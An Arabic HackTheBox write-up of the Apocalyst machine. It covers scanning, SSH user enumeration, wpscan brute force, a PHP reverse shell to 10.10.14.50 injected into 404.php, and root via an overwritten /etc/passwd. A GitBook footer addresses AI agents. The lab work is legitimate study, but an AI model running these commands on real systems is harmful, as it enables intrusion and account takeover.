> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md). # شرح Apocalyst HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * تعداد ووردبريس * تحدي الإخفاء في الصور - Steghide * تسريب المعلومات - تعداد المستخدمين * استغلال ووردبريس - محرر القالب (تنفيذ أوامر عن بُعد) * إساءة استغلال الأذونات المُهيأة بشكل خاطئ (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts ```

**فحص إصدارات المنافذ باستخدام Nmap (22.80):** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80 10.10.10.46 -oN targeted ```

نكتشف موقع ووردبريس، لكن حلّ النطاق مُهيأ بشكل غير صحيح.

نضيف السجل التالي إلى */etc/hosts*:

## **استكشاف موقع ووردبريس**

#### **تحديد مستخدم صالح** نعثر على مستخدم صالح: **falaraki**.

#### **استغلال SSH** بما أن إصدار SSH قديم، يمكننا استخدام ثغرة للتحقق من المستخدم على النظام: ```bash searchsploit -m linux/remote/45939.py ```

التحقق من وجود المستخدم: ```bash python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null ```

#### إذًا بالنسبة إلى ووردبريس:

### **قائمة ووردبريس** نستخدم *wfuzz* للبحث عن أدلة مثيرة للاهتمام: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} يكشف هذا الفحص عن عدة صفحات تُرجع الرمز 301، وتعيد التوجيه إلى صورة.

ثم نفلتر بحسب طول النص (157): {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} لا توجد نتائج مثيرة للاهتمام.

### **إنشاء قاموس مخصص - CEWL** ننشىء قاموسًا استنادًا إلى الموقع الإلكتروني:

استخدم **Cewl** لإنشاء قاموس استنادًا إلى الموقع الإلكتروني: ```bash cewl -w list.txt http://apocalyst.htb/ ```

استكشاف جديد باستخدام *wfuzz*: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L ``` {% endcode %} نعثر على **`الاستقامة`** الدليل.

### **تحليل الإخفاء باستخدام Steghide** نحفظ الصورة ونحللها: 1. التحقق مما إذا كانت الصورة تحتوي على بيانات مخفية:

التحقق مما إذا كانت الصورة تحتوي على بيانات مخفية: ```bash steghide info image.jpg ```

استخراج البيانات المخفية: ```bash steghide extract -sf image.jpg ```

ملف *list.txt* يتم إنشاء ملف يحتوي على كلمات

### **هجوم القوة الغاشمة على ووردبريس**


/pages/585bd9cc1d887448a6aa584412c6dedfa939a27f

نطلق هجوم قوة غاشمة باستخدام *wpscan*، مستغلين *xmlrpc.php* وهو نشط: ```bash wpscan --url http://apocalyst.htb -U falaraki -P list.txt ``` نجد **falaraki**كلمة مرور **ترانسكليسييشن**.

### **استغلال ووردبريس - تنفيذ أوامر عن بُعد (RCE)**

نعدّل *404.php* والحقن بقشرة عكسية فيه: ```php & /dev/tcp/10.10.14.50/443 0>&1'") ?> ``` الاستماع على المنفذ 443: ```bash nc -nvlp 443 ```

تنفيذ القشرة عبر *curl*: ```bash curl -s -X GET "http://apocalyst.htb/?p=404.php" ```

#### جلسة قشرة محسنة: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### الراية user.txt :)

## **تصعيد الامتيازات** ### **إدارة الأذونات (`/etc/passwd`)** ```bash find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys" ``` نرى أن */etc/passwd* قابل للتحرير.

إنشاء كلمة مرور مشفرة باستخدام OpenSSL: ``` openssl passwd -1 -salt WylYIBz9 jordan ```

مما يُنتج: * $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/ نستبدل سطر root في */etc/passwd* بالتجزئة الخاصة بنا.

تسجيل الدخول كمستخدم root:

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.